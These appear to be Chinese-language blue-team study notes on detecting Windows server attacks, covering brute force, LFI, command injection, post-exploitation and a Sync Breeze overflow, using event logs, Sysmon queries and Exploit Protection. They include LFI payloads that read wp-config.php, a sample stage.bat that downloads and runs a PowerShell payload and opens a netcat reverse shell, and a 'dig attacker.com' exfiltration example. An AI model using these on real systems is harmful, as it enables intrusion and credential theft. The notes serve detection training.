# Windows Server-Side Attacks(Windows 服务端攻击与分析)
# 1_Brute Force Logins
# 1.1 核心检测逻辑
暴力破解(Brute Force)攻击会在 Windows Security 日志中留下大量 Event ID 4625 (登录失败) 的记录。通过分析这些失败日志的特征(如高频次、特定状态码、来源 IP),可以有效识别爆破行为。
# 1.2 关键字段解析
在分析 4625 事件时,需重点关注以下字段:
- Logon Type (登录类型):
- Type 3 (Network):网络登录。常用于 SMB (
\\IP\C$)、WMI 或 WinRM 的暴力破解。 - Type 10 (RemoteInteractive):远程桌面 (RDP) 登录。
- Type 3 (Network):网络登录。常用于 SMB (
- Status (状态码):
0xC000006D:Bad user name or password(用户名或密码错误,最常见于爆破)。
- Substatus (子状态码):用于进一步区分失败原因:
0xC000006A:Bad password(用户名存在,但密码错误)。这是确认爆破行为的最强指标。0xC0000064:User name does not exist(用户名不存在,常用于用户名枚举阶段)。
- NLA (Network Level Authentication, 网络级别身份验证):
- RDP 的默认安全机制。开启 NLA 时,客户端必须在建立完整 RDP 会话前完成身份验证。
- 对爆破的影响:使用 Hydra 等工具爆破开启 NLA 的 RDP 时,必须使用支持 NLA 的模块 / 参数。NLA 会在认证失败时直接断开连接,这会在日志中产生特定的 4625 记录。
# 1.3 实战:格式化查询登录失败日志 (4625)
# 查询指定时间段内的 4625 事件,并格式化输出关键溯源字段 | |
Get-WinEvent -FilterHashtable @{ | |
LogName = 'Security' | |
Id = 4625 | |
StartTime = '2022-01-06 00:00:00' | |
EndTime = '2022-01-07 00:00:00' | |
} | Select-Object -First 20 TimeCreated, | |
@{Label = "Logon Type"; Expression = { $_.Properties[10].Value }}, | |
@{Label = "Status"; Expression = { '0x{0:X8}' -f $_.Properties[7].Value }}, | |
@{Label = "Substatus"; Expression = { '0x{0:X8}' -f $_.Properties[9].Value }}, | |
@{Label = "Target User Name"; Expression = { $_.Properties[5].Value }}, | |
@{Label = "Workstation Name"; Expression = { $_.Properties[13].Value }}, | |
@{Label = "IP Address"; Expression = { $_.Properties[19].Value }} | | |
Format-Table -AutoSize |
说明: '{0:X8}' -f 用于将十进制的错误码转换为标准的 8 位十六进制格式(如 0xC000006A ),便于与安全知识库对照。
# 1.4 实战:检测 “爆破成功后立即登录” (4625 转 4624)
攻击者在暴力破解成功后,通常会立即使用该凭据建立有效会话。通过关联查询,可以发现这种 “失败后紧接成功” 的异常模式。
查询逻辑:查找来源 IP 相同,且在短时间内(如 1 分钟内)先出现 4625 (失败),紧接着出现 4624 (成功) 的记录。
# 示例:查找来自特定 IP (如 192.168.50.50) 的登录成功记录 (4624) | |
# 在实际应急响应中,发现此 IP 有大量 4625 后,应立即用此命令检查其是否已成功登录 | |
Get-WinEvent -FilterHashtable @{ | |
LogName = 'Security' | |
Id = 4624 | |
} | Where-Object { | |
$_.Properties[18].Value -eq "192.168.50.50" # Properties [18] 通常为 IpAddress | |
} | Select-Object TimeCreated, | |
@{Label = "Logon Type"; Expression = { $_.Properties[8].Value }}, | |
@{Label = "Target User Name"; Expression = { $_.Properties[5].Value }}, | |
@{Label = "IP Address"; Expression = { $_.Properties[18].Value }} | | |
Format-List |
# 1.5 响应建议
一旦发现高频的 Substatus 0xC000006A 且来源 IP 异常:
- 立即在防火墙或主机层面封禁该源 IP。
- 检查该 IP 是否已经通过
4624事件成功登录(如上述脚本所示)。 - 若已成功登录,立即重置受影响账户的密码,并排查该会话期间执行的后续命令(结合 Sysmon Event ID 1 进程创建日志)。
# 2_Local File Inclusion (LFI)
# 2.1 漏洞原理与场景
本地文件包含(Local File Inclusion, LFI)漏洞通常发生在 Web 应用程序动态包含本地文件时,未能正确验证或过滤用户提供的路径参数。攻击者利用目录遍历(Directory Traversal) 技术(如 ../ ),跳出 Web 根目录,读取服务器上的敏感系统文件或配置文件。
在 WordPress 中,某些存在缺陷的插件(如旧版 siteimport )可能直接将用户输入的 URL 参数传递给 PHP 的 include() 或 require() 函数,从而引发 LFI。
# 2.2 攻击载荷 (Payload) 示例
1. 漏洞验证 (读取系统文件)
攻击者通常先尝试读取具有固定路径的系统文件(如 Windows 的 win.ini 或 Linux 的 /etc/passwd )来验证漏洞是否存在。
GET /wordpress/wp-content/plugins/siteimport/admin/page.php?url=../../../../../../../../windows/win.ini HTTP/1.1 |
(注:在实际攻击中, ../ 常被 URL 编码为 %2e%2e%2f 或 %252e%252e%252f 以绕过基础 WAF 或过滤规则)
2. 窃取高价值目标 (读取配置文件)
一旦确认漏洞,攻击者会尝试读取 Web 根目录下的核心配置文件。对于 WordPress,目标是 wp-config.php ,其中包含明文的数据库连接凭据(DB_NAME, DB_USER, DB_PASSWORD)。
GET /wordpress/wp-content/plugins/siteimport/admin/page.php?url=../../../../../../inetpub/wwwroot/wordpress/wp-config.php HTTP/1.1 |
# 2.3 Web 日志取证分析
在 IIS、Apache 或 Nginx 的访问日志中,LFI 攻击会留下非常明显的异常特征。安全分析师可通过以下三个维度快速识别:
- 请求 URI (cs-uri-stem /request_uri) 异常:
- 包含连续的
../或其 URL 编码变体(%2e%2e%2f)。 - 路径指向非 Web 目录的敏感文件,如
\windows\win.ini、\wp-config.php、\etc\passwd。
- 包含连续的
- 客户端 IP (c-ip) 异常:
- 来源 IP 为内网地址(如
127.0.0.1,192.168.x.x,10.x.x.x)。这可能表明攻击来自内部网络,或者攻击者利用了 SSRF(服务器端请求伪造)/ 反向代理来隐藏真实外部 IP。
- 来源 IP 为内网地址(如
- User-Agent (cs (User-Agent)) 异常:
- 缺少标准浏览器的标识,取而代之的是自动化脚本或漏洞扫描器的特征。例如:
python-requests/2.28.1、curl/7.68.0、sqlmap/1.6等。这表明攻击是通过本地程序或自动化脚本批量发起的,而非正常用户浏览。
- 缺少标准浏览器的标识,取而代之的是自动化脚本或漏洞扫描器的特征。例如:
IIS 日志示例片段:
#Fields: date time c-ip cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent) | |
2023-10-25 14:32:10 192.168.50.100 GET /wordpress/wp-content/plugins/siteimport/admin/page.php url=..%2f..%2f..%2f..%2fwp-config.php 200 python-requests/2.28.1 |
# 3_Command Injection
# 3.1 传统 Web 日志 (IIS) 的局限性
在检测命令注入(Command Injection)时,仅依赖 IIS 等 Web 访问日志往往难以完整还原攻击链:
- 缺乏执行上下文:Web 日志只能记录 HTTP 请求(如 GET/POST 参数),无法记录服务器端实际派生的子进程及其执行结果。
- 载荷隐蔽性:攻击载荷常被 URL 编码、分块传输或隐藏在复杂的 POST 数据中,增加了人工分析和正则匹配的难度。
- 无进程级关联:无法直接看出是哪个 Web 进程触发了系统命令。
# 3.2 利用 Sysmon 追踪攻击链
Sysmon 的 Event ID 1 (Process Creation) 是检测和溯源命令注入的终极武器。它能完整记录进程树(Process Tree),包括父进程、子进程、执行用户及完整的命令行参数,让隐蔽的攻击行为无所遁形。
# 3.3 实战:查询并还原攻击链
使用之前定义的 Get-SysmonEvent 函数,精准定位可疑时间段内的进程创建事件,并格式化输出关键溯源字段。
Get-SysmonEvent -EventId 1 -Start "01/06/2022 14:40:00" -End "01/06/2022 14:43:00" | | |
Format-List TimeCreated, | |
@{Label = "CommandLine"; Expression = { $_.Properties[10].Value }}, | |
@{Label = "User"; Expression = { $_.Properties[12].Value }}, | |
@{Label = "ParentImage"; Expression = { $_.Properties[20].Value }} |
# 3.4 攻击链分析示例
通过上述查询输出,可以清晰地还原出命令注入的完整执行链条(Process Tree):
- 初始入口:Web 服务器工作进程(如
php-cgi.exe或 IIS 的w3wp.exe)接收到包含恶意参数的请求。 - 异常派生 (关键指标):
php-cgi.exe异常地作为父进程 (ParentImage),派生了cmd.exe或powershell.exe。(注:正常的 Web 应用业务逻辑极少会直接派生系统级 Shell)。 - 执行侦察 / 外泄命令:子进程
cmd.exe的CommandLine字段清晰记录了攻击者执行的命令,例如:dig attacker.com:常用于 DNS 带外数据外泄(OOB),以验证命令是否执行成功。systeminfo:收集操作系统版本和补丁信息,为后续的本地提权(Privilege Escalation)做准备。
安全价值:通过关联 ParentImage 和 CommandLine ,安全分析师可以瞬间识破伪装在合法 Web 流量下的恶意命令执行行为,并直接定位到被利用的脆弱组件(如特定的 PHP 脚本),从而实现快速遏制和修复。
# 4_File Upload & Post-Exploitation Tracing
# 4.1 攻击场景复现
攻击者通过 Web 漏洞(如命令注入)在目标系统上执行多阶段攻击:首先利用系统自带工具(LOLBins)下载初始载荷,随后通过脚本建立持久化或反弹 Shell,并尝试清理痕迹。
攻击者执行的恶意批处理脚本 ( stage.bat ) 示例:
@ECHO OFF
:: 1. 使用 PowerShell 无文件下载并执行第一阶段 Payload
powershell -c "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.50.50:8000/1.ps1')"
:: 2. 删除自身以销毁证据
del stage.bat
:: 3. 下载 Netcat (或使用 certutil.exe: certutil -urlcache -split -f http://... nc.exe)
curl http://192.168.50.50:8000/nc.exe -o C:\Windows\Temp\nc.exe
:: 4. 建立反弹 Shell 到攻击机
C:\Windows\Temp\nc.exe 192.168.50.50 4444 -e cmd.exe
# 4.2 溯源分析:追踪事件链 (Event Chaining)
在应急响应中,孤立的事件价值有限,将不同 Event ID 通过 PID / 时间戳关联起来,还原完整的攻击链,是核心技能。
# 步骤 1:发现可疑文件创建 (Event ID 11)
首先通过 Sysmon 的 FileCreate 事件,定位攻击者写入的恶意文件(如 stage.bat 或 nc.exe )。
Get-SysmonEvent -EventId 11 -Start "01/06/2022 17:23:25" -End "01/06/2022 17:23:27" | | |
Format-List @{Label = "Rule"; Expression = { $_.Properties[0].Value }}, | |
@{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "Image"; Expression = { $_.Properties[4].Value }}, | |
@{Label = "TargetFile"; Expression = { $_.Properties[5].Value }} |
分析点:关注 Image 是否为 cmd.exe 或 powershell.exe , TargetFile 是否指向敏感目录(如 C:\Windows\Temp\ )或可疑扩展名( .bat , .exe )。
# 步骤 2:还原进程执行链 (Event ID 1)
获取到可疑文件的创建时间后,扩大时间窗口,查询该时间段内的进程创建事件,查看是谁执行了这些命令。
Get-SysmonEvent -EventId 1 -Start "01/06/2022 17:23:24" -End "01/06/2022 17:23:28" | | |
Format-List TimeCreated, | |
@{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "PPID"; Expression = { $_.Properties[19].Value }}, | |
@{Label = "CommandLine"; Expression = { $_.Properties[10].Value }}, | |
@{Label = "User"; Expression = { $_.Properties[12].Value }}, | |
@{Label = "ParentImage"; Expression = { $_.Properties[20].Value }} |
分析点:通过 ParentImage 和 CommandLine ,可以清晰看到 php-cgi.exe (或 w3wp.exe ) -> cmd.exe (执行 stage.bat ) -> powershell.exe / nc.exe 的完整派生树。
# 步骤 3:精准锁定文件落地细节 (Event ID 11 二次查询)
根据步骤 2 中发现的特定 PID,进一步缩小时间窗口,精确提取该进程创建的具体文件。
Get-SysmonEvent -EventId 11 -Start "01/06/2022 17:23:27" -End "01/06/2022 17:23:28" | | |
Format-List @{Label = "Rule"; Expression = { $_.Properties[0].Value }}, | |
@{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "Image"; Expression = { $_.Properties[4].Value }}, | |
@{Label = "TargetFile"; Expression = { $_.Properties[5].Value }} |
分析点:确认 nc.exe 确实被该 PID 写入到了 C:\Windows\Temp\nc.exe ,完成 “命令执行” 到 “文件落地” 的证据闭环。
# 步骤 4:追踪外联与反弹 Shell (Event ID 3)
最后,通过网络连接事件,确认恶意进程是否成功与外部 C2 服务器建立了连接。
Get-SysmonEvent -EventId 3 -Start "01/06/2022 17:23:27" -End "01/06/2022 17:23:30" | | |
Format-List @{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "Image"; Expression = { $_.Properties[4].Value }}, | |
@{Label = "User"; Expression = { $_.Properties[5].Value }}, | |
@{Label = "Source IP"; Expression = { $_.Properties[9].Value }}, | |
@{Label = "Source Port"; Expression = { $_.Properties[11].Value }}, | |
@{Label = "Destination IP"; Expression = { $_.Properties[14].Value }}, | |
@{Label = "Destination Port"; Expression = { $_.Properties[16].Value }} |
分析点:筛选 Image 包含 nc.exe 的记录。查看 Destination IP 和 Destination Port ,即可确凿证明反弹 Shell 成功连接到了攻击者的 IP ( 192.168.50.50 ) 和端口 ( 4444 )。
# 5_Binary Attacks
# 5.1 攻击特征与检测难点
二进制攻击(如缓冲区溢出 Buffer Overflow)通常通过向存在漏洞的服务(如本例中的 Sync Breeze FTP/HTTP 服务器)发送特制的恶意载荷,覆盖内存中的返回地址,从而直接执行 Shellcode。
检测难点:
- 无文件落地:攻击载荷直接在内存中执行,可能不会在磁盘上留下恶意
.exe或脚本文件。 - 无恶意命令行:Shellcode 直接劫持进程执行,传统的基于命令行参数(CommandLine)的静态规则往往无法捕获。
检测突破口:
- 异常的网络外联 (Event ID 3):原本只应监听端口的服务进程(如
syncbrs.exe),突然主动向外部 IP 发起出站连接(反弹 Shell)。 - 异常的父子进程关系 (Event ID 1):如果 Shellcode 派生了新的 Shell(如
cmd.exe),其父进程将是脆弱的服务进程,这在正常业务逻辑中是极度异常的。
# 5.2 实战:基于 Sysmon 的溢出攻击溯源
(注:已全面修正原笔记中因 OCR 识别导致的语法错误、变量名缺失及管道符错误)
# 步骤 1:检查溢出发生时的进程活动 (Event ID 1)
查询漏洞触发时间点附近的进程创建记录,观察是否有服务进程崩溃重启,或异常派生了子进程。
Get-SysmonEvent -EventId 1 -Start "01/06/2022 18:37:44" -End "01/06/2022 18:37:46" | | |
Format-List TimeCreated, | |
@{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "PPID"; Expression = { $_.Properties[19].Value }}, | |
@{Label = "CommandLine"; Expression = { $_.Properties[10].Value }}, | |
@{Label = "User"; Expression = { $_.Properties[12].Value }}, | |
@{Label = "ParentImage"; Expression = { $_.Properties[20].Value }} |
# 步骤 2:捕捉反弹 Shell 的网络连接 (Event ID 3) —— 核心证据
这是检测二进制溢出成功的最直接指标。查询同一时间窗口内的网络连接,寻找脆弱进程向外发起的可疑连接。
Get-SysmonEvent -EventId 3 -Start "01/06/2022 18:37:44" -End "01/06/2022 18:37:48" | | |
Format-List TimeCreated, | |
@{Label = "Image"; Expression = { $_.Properties[4].Value }}, | |
@{Label = "Source IP"; Expression = { $_.Properties[9].Value }}, | |
@{Label = "Source Port"; Expression = { $_.Properties[11].Value }}, | |
@{Label = "Destination IP"; Expression = { $_.Properties[14].Value }}, | |
@{Label = "Destination Port"; Expression = { $_.Properties[16].Value }} |
分析要点:如果 Image 显示为 C:\Program Files (x86)\Sync Breeze\bin\syncbrs.exe ,且 Destination IP 为攻击者的外部 IP,即可确认为反弹 Shell 成功。
# 步骤 3:追踪攻击成功后的后渗透活动 (Event ID 1)
一旦确认反弹 Shell 建立,扩大时间窗口,查询攻击者通过该 Shell 执行的后续侦察或提权命令。
Get-SysmonEvent -EventId 1 -Start "01/06/2022 18:38:00" -End "01/06/2022 18:39:00" | | |
Format-List TimeCreated, | |
@{Label = "PID"; Expression = { $_.Properties[3].Value }}, | |
@{Label = "PPID"; Expression = { $_.Properties[19].Value }}, | |
@{Label = "CommandLine"; Expression = { $_.Properties[10].Value }}, | |
@{Label = "User"; Expression = { $_.Properties[12].Value }}, | |
@{Label = "ParentImage"; Expression = { $_.Properties[20].Value }} |
分析要点:此时应重点关注 ParentImage 是否为 syncbrs.exe 或 cmd.exe ,以及 CommandLine 中是否包含 whoami 、 systeminfo 、 net user 等典型的后渗透侦察命令。
# 5.3 溯源总结
对于二进制漏洞利用,“网络外联 (Event 3) + 异常进程树 (Event 1)” 的组合拳是黄金检测法则。即使攻击者使用了高度混淆的 Shellcode 且未触碰磁盘,只要它试图与外界通信或派生新进程,Sysmon 就能将其完整记录并暴露。
# 6_Windows Defender Exploit Guard (WDEG) & Exploit Protection
# 6.1 基础概念
Windows Defender Exploit Guard (WDEG) 中的 Exploit Protection(前身是 EMET)提供了一系列针对内存破坏漏洞(如缓冲区溢出)的缓解措施。它可以在系统级或进程级强制实施安全策略,例如:
- DEP (Data Execution Prevention):防止在标记为不可执行的内存区域运行代码。
- ROP (Return-Oriented Programming) 防护:检测并阻止攻击者利用现有代码片段(Gadgets)绕过 DEP 的行为。
# 6.2 配置进程级缓解措施 (Process Mitigation)
针对特定易受攻击的程序(如本例中的 syncbrs.exe ),可以通过 PowerShell 精确配置缓解策略。
1. 清除旧的 / 冲突的配置
在重新配置前,需清理注册表中可能存在的旧版 Image File Execution Options (IFEO) 设置,避免冲突。
Remove-Item -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syncbrs.exe' -Force -ErrorAction SilentlyContinue |
2. 启用 ROP 防护 (Block 模式)
强制启用 ROP 调用者检查。如果检测到异常的控制流转移,系统将直接终止该进程。
Set-ProcessMitigation -Name 'C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe' -Enable RopCallerCheck |
(注:配置后需重启 syncbreeze 服务或进程,使新策略生效。可通过 Get-ProcessMitigation -Name 'syncbrs.exe' 验证策略是否已显示为 ON )
# 6.3 攻击验证与日志分析:Block 模式
再次尝试对该服务进行二进制溢出攻击时,攻击将直接失败(进程被系统强制终止)。
此时,事件不会记录在常规的 Security 日志中,而是记录在专用的安全缓解日志通道中:
Get-WinEvent -FilterHashtable @{ | |
LogName = 'Microsoft-Windows-Security-Mitigations/UserMode' | |
StartTime = '01/06/2022 19:23:00' | |
EndTime = '01/06/2022 19:24:00' | |
} | Format-List -Property Id, TimeCreated, LevelDisplayName, Message |
日志输出示例 (Event ID 1):
Process 'C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe' (PID 1472) was blocked from calling the API 'LoadLibraryA' due to return-oriented programming (RoP) exploit indications.
分析:Exploit Protection 成功检测到 Shellcode 试图通过 ROP 链调用敏感 API(如 LoadLibraryA 以加载恶意 DLL),并主动拦截了该行为,从而阻断了攻击链。
# 6.4 审计模式 (Audit Mode) 的实战价值
在生产环境中,直接启用 Block 模式可能会导致误报,从而中断正常业务。最佳实践是先启用 Audit (审计) 模式。
1. 切换为 Audit 模式
Set-ProcessMitigation -Name 'C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe' -Enable AuditRopCallerCheck |
2. 攻击验证与日志分析 (Audit 模式)
在 Audit 模式下,攻击不会被拦截(服务继续运行,攻击可能成功),但系统会静默记录下所有触发了缓解规则的异常行为。
日志输出示例:
Process 'C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe' (PID 5592) would have been blocked from calling the API 'LoadLibraryA' due to return-oriented programming (ROP) exploit indications.
Process 'C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe' (PID 5592) would have been blocked from calling the API 'CreateProcessA' due to return-oriented programming (ROP) exploit indications.
分析价值:
- 零业务影响:不会误杀正常进程。
- 高保真威胁狩猎:日志清晰地暴露了攻击者的意图 —— 即使攻击成功,我们也通过日志确切知道攻击者尝试了
LoadLibraryA(可能用于无文件加载或 DLL 劫持)和CreateProcessA(试图派生新的 Shell 或执行后续载荷)。这为后续的应急响应和规则调优提供了完美的依据。